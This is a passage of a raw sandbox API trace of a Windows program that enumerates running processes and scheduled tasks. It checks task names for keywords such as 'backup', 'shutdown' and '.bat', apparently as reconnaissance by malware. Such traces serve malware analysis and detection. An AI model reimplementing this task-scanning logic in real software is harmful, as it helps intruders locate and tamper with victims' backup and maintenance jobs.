ResultLength=0x0) returned 0xc0000004 [0066.448] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0066.448] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.448] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0066.448] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.448] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0066.449] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.449] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0066.449] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.449] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0066.449] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.450] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0066.450] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.450] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0066.450] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.450] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0066.450] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.451] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x12288) returned 0x577e58 [0066.451] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.451] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x132ac) returned 0x577e58 [0066.451] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.451] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x142d0) returned 0x577e58 [0066.451] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.452] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x152f4) returned 0x577e58 [0066.452] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.452] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x16318) returned 0x577e58 [0066.452] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.452] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1733c) returned 0x577e58 [0066.452] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.453] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x18360) returned 0x577e58 [0066.453] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.453] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x19384) returned 0x577e58 [0066.453] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.454] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1a3a8) returned 0x577e58 [0066.454] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.454] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1b3cc) returned 0x577e58 [0066.454] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.454] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1c3f0) returned 0x577e58 [0066.454] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.455] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1d414) returned 0x577e58 [0066.455] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0066.758] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0066.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0066.758] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0066.759] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0066.759] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0066.759] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0066.759] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0066.759] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0066.759] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0066.759] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0066.760] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0066.761] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.761] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0066.761] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.762] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0066.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.762] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0066.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.762] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0066.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.762] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0066.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.763] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0066.763] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.763] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0066.763] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.763] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0066.764] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.764] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0066.764] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.764] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0066.764] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.765] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x12288) returned 0x577e58 [0066.765] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.765] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x132ac) returned 0x577e58 [0066.765] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.765] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x142d0) returned 0x577e58 [0066.765] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.766] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x152f4) returned 0x577e58 [0066.766] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.766] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x16318) returned 0x577e58 [0066.766] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.766] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1733c) returned 0x577e58 [0066.766] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.767] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x18360) returned 0x577e58 [0066.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.767] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x19384) returned 0x577e58 [0066.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.768] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1a3a8) returned 0x577e58 [0066.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.768] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1b3cc) returned 0x577e58 [0066.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.768] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1c3f0) returned 0x577e58 [0066.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0066.769] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1d414) returned 0x577e58 [0066.769] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 Thread: id = 12 os_tid = 0x994 Thread: id = 13 os_tid = 0x998 [0034.549] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0034.550] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0034.618] CoCreateInstance (in: rclsid=0x86050*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x86040*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x2ffbdc | out: ppv=0x2ffbdc*=0x6efa48) returned 0x0 [0035.074] TaskScheduler:ITaskService:Connect (This=0x6efa48, serverName=0x2ffb84*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x2ffb94*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x2ffba4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x2ffbb4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0035.572] TaskScheduler:ITaskService:GetFolder (in: This=0x6efa48, Path="\\", ppFolder=0x2ffbd8 | out: ppFolder=0x2ffbd8*=0x6efab0) returned 0x0 [0035.577] ITaskFolder:GetTasks (in: This=0x6efab0, flags=0, ppTasks=0x2ffb78 | out: ppTasks=0x2ffb78*=0x6efaf0) returned 0x0 [0035.584] IRegisteredTaskCollection:get_Count (in: This=0x6efaf0, pCount=0x2ffb54 | out: pCount=0x2ffb54*=3) returned 0x0 [0035.584] IRegisteredTaskCollection:get_Item (in: This=0x6efaf0, index=0x2ffb28*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb88 | out: ppRegisteredTask=0x2ffb88*=0x6efb90) returned 0x0 [0035.585] IRegisteredTask:get_Name (in: This=0x6efb90, pName=0x2ffb60 | out: pName=0x2ffb60*="Adobe Flash Player Updater") returned 0x0 [0035.585] IRegisteredTask:get_State (in: This=0x6efb90, pState=0x2ffb64 | out: pState=0x2ffb64*=1) returned 0x0 [0035.586] IUnknown:Release (This=0x6efb90) returned 0x0 [0035.586] IRegisteredTaskCollection:get_Item (in: This=0x6efaf0, index=0x2ffb28*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x2ffb88 | out: ppRegisteredTask=0x2ffb88*=0x6efb90) returned 0x0 [0035.586] IRegisteredTask:get_Name (in: This=0x6efb90, pName=0x2ffb60 | out: pName=0x2ffb60*="GoogleUpdateTaskMachineCore") returned 0x0 [0035.586] IRegisteredTask:get_State (in: This=0x6efb90, pState=0x2ffb64 | out: pState=0x2ffb64*=1) returned 0x0 [0035.587] IUnknown:Release (This=0x6efb90) returned 0x0 [0035.587] IRegisteredTaskCollection:get_Item (in: This=0x6efaf0, index=0x2ffb28*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x2ffb88 | out: ppRegisteredTask=0x2ffb88*=0x6efb90) returned 0x0 [0035.587] IRegisteredTask:get_Name (in: This=0x6efb90, pName=0x2ffb60 | out: pName=0x2ffb60*="GoogleUpdateTaskMachineUA") returned 0x0 [0035.587] IRegisteredTask:get_State (in: This=0x6efb90, pState=0x2ffb64 | out: pState=0x2ffb64*=1) returned 0x0 [0035.587] IUnknown:Release (This=0x6efb90) returned 0x0 [0035.588] IUnknown:Release (This=0x6efaf0) returned 0x0 [0035.588] ITaskFolder:GetFolders (in: This=0x6efab0, flags=0, ppFolders=0x2ffbb4 | out: ppFolders=0x2ffbb4*=0x6efaf0) returned 0x0 [0035.590] ITaskFolderCollection:get_Count (in: This=0x6efaf0, pCount=0x2ffba8 | out: pCount=0x2ffba8*=3) returned 0x0 [0035.590] ITaskFolderCollection:get_Item (in: This=0x6efaf0, index=0x2ffb84*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x2ffbac | out: ppFolder=0x2ffbac*=0x6efb98) returned 0x0 [0035.590] ITaskFolder:GetTasks (in: This=0x6efb98, flags=0, ppTasks=0x2ffb4c | out: ppTasks=0x2ffb4c*=0x6efbe8) returned 0x0 [0035.590] IRegisteredTaskCollection:get_Count (in: This=0x6efbe8, pCount=0x2ffb28 | out: pCount=0x2ffb28*=0) returned 0x0 [0035.590] IUnknown:Release (This=0x6efbe8) returned 0x0 [0035.590] ITaskFolder:GetFolders (in: This=0x6efb98, flags=0, ppFolders=0x2ffb88 | out: ppFolders=0x2ffb88*=0x6efbe8) returned 0x0 [0035.591] ITaskFolderCollection:get_Count (in: This=0x6efbe8, pCount=0x2ffb7c | out: pCount=0x2ffb7c*=2) returned 0x0 [0035.591] ITaskFolderCollection:get_Item (in: This=0x6efbe8, index=0x2ffb58*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x2ffb80 | out: ppFolder=0x2ffb80*=0x6efcb8) returned 0x0 [0035.591] ITaskFolder:GetTasks (in: This=0x6efcb8, flags=0, ppTasks=0x2ffb20 | out: ppTasks=0x2ffb20*=0x6efd18) returned 0x0 [0035.591] IRegisteredTaskCollection:get_Count (in: This=0x6efd18, pCount=0x2ffafc | out: pCount=0x2ffafc*=0) returned 0x0 [0035.591] IUnknown:Release (This=0x6efd18) returned 0x0 [0035.591] ITaskFolder:GetFolders (in: This=0x6efcb8, flags=0, ppFolders=0x2ffb5c | out: ppFolders=0x2ffb5c*=0x6efd18) returned 0x0 [0035.602] ITaskFolderCollection:get_Count (in: This=0x6efd18, pCount=0x2ffb50 | out: pCount=0x2ffb50*=45) returned 0x0 [0035.603] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x6efdf8) returned 0x0 [0035.603] ITaskFolder:GetTasks (in: This=0x6efdf8, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x6efec0) returned 0x0 [0035.606] IRegisteredTaskCollection:get_Count (in: This=0x6efec0, pCount=0x2ffad0 | out: pCount=0x2ffad0*=2) returned 0x0 [0035.606] IRegisteredTaskCollection:get_Item (in: This=0x6efec0, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2650060) returned 0x0 [0035.606] IRegisteredTask:get_Name (in: This=0x2650060, pName=0x2ffadc | out: pName=0x2ffadc*="AD RMS Rights Policy Template Management (Automated)") returned 0x0 [0035.606] IRegisteredTask:get_State (in: This=0x2650060, pState=0x2ffae0 | out: pState=0x2ffae0*=1) returned 0x0 [0035.610] IUnknown:Release (This=0x2650060) returned 0x0 [0035.610] IRegisteredTaskCollection:get_Item (in: This=0x6efec0, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2650060) returned 0x0 [0035.611] IRegisteredTask:get_Name (in: This=0x2650060, pName=0x2ffadc | out: pName=0x2ffadc*="AD RMS Rights Policy Template Management (Manual)") returned 0x0 [0035.611] IRegisteredTask:get_State (in: This=0x2650060, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0035.614] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x64) returned 0x4e9280 [0035.614] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="reboot") returned 0x0 [0035.614] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="restart") returned 0x0 [0035.614] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="shutdown") returned 0x0 [0035.614] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="logoff") returned 0x0 [0035.614] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr=".bat") returned 0x0 [0035.614] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="backup") returned 0x0 [0035.614] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr=".cmd") returned 0x0 [0035.614] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e9280) returned 1 [0035.615] IRegisteredTask:get_Definition (in: This=0x2650060, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x26501a0) returned 0x0 [0036.466] ITaskDefinition:get_Actions (in: This=0x26501a0, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x2650218) returned 0x0 [0036.466] IActionCollection:get_Count (in: This=0x2650218, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0036.466] IActionCollection:get_Item (in: This=0x2650218, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650ac0) returned 0x0 [0036.467] IAction:get_Type (in: This=0x2650ac0, pType=0x2ffac8 | out: pType=0x2ffac8*=5) returned 0x0 [0036.467] IUnknown:Release (This=0x2650ac0) returned 0x1 [0036.467] IUnknown:Release (This=0x2650218) returned 0x1 [0036.467] IUnknown:Release (This=0x26501a0) returned 0x0 [0036.467] IUnknown:Release (This=0x2650060) returned 0x0 [0036.467] IUnknown:Release (This=0x6efec0) returned 0x0 [0036.467] ITaskFolder:GetFolders (in: This=0x6efdf8, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x6efec0) returned 0x0 [0036.467] ITaskFolderCollection:get_Count (in: This=0x6efec0, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0036.467] IUnknown:Release (This=0x6efec0) returned 0x0 [0036.467] TaskScheduler:IUnknown:Release (This=0x6efdf8) returned 0x0 [0036.467] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x6efdf8) returned 0x0 [0036.467] ITaskFolder:GetTasks (in: This=0x6efdf8, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x6efe68) returned 0x0 [0036.468] IRegisteredTaskCollection:get_Count (in: This=0x6efe68, pCount=0x2ffad0 | out: pCount=0x2ffad0*=2) returned 0x0 [0036.468] IRegisteredTaskCollection:get_Item (in: This=0x6efe68, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6eff50) returned 0x0 [0036.468] IRegisteredTask:get_Name (in: This=0x6eff50, pName=0x2ffadc | out: pName=0x2ffadc*="PolicyConverter") returned 0x0 [0036.468] IRegisteredTask:get_State (in: This=0x6eff50, pState=0x2ffae0 | out: pState=0x2ffae0*=1) returned 0x0 [0036.470] IUnknown:Release (This=0x6eff50) returned 0x0 [0036.470] IRegisteredTaskCollection:get_Item (in: This=0x6efe68, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6eff50) returned 0x0 [0036.470] IRegisteredTask:get_Name (in: This=0x6eff50, pName=0x2ffadc | out: pName=0x2ffadc*="VerifiedPublisherCertStoreCheck") returned 0x0 [0036.470] IRegisteredTask:get_State (in: This=0x6eff50, pState=0x2ffae0 | out: pState=0x2ffae0*=1) returned 0x0 [0036.472] IUnknown:Release (This=0x6eff50) returned 0x0 [0036.472] IUnknown:Release (This=0x6efe68) returned 0x0 [0036.472] ITaskFolder:GetFolders (in: This=0x6efdf8, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x6efe68) returned 0x0 [0036.472] ITaskFolderCollection:get_Count (in: This=0x6efe68, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0036.472] IUnknown:Release (This=0x6efe68) returned 0x0 [0036.472] TaskScheduler:IUnknown:Release (This=0x6efdf8) returned 0x0 [0036.472] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x6efdf8) returned 0x0 [0036.472] ITaskFolder:GetTasks (in: This=0x6efdf8, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x6efe88) returned 0x0 [0036.473] IRegisteredTaskCollection:get_Count (in: This=0x6efe88, pCount=0x2ffad0 | out: pCount=0x2ffad0*=2) returned 0x0 [0036.473] IRegisteredTaskCollection:get_Item (in: This=0x6efe88, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, 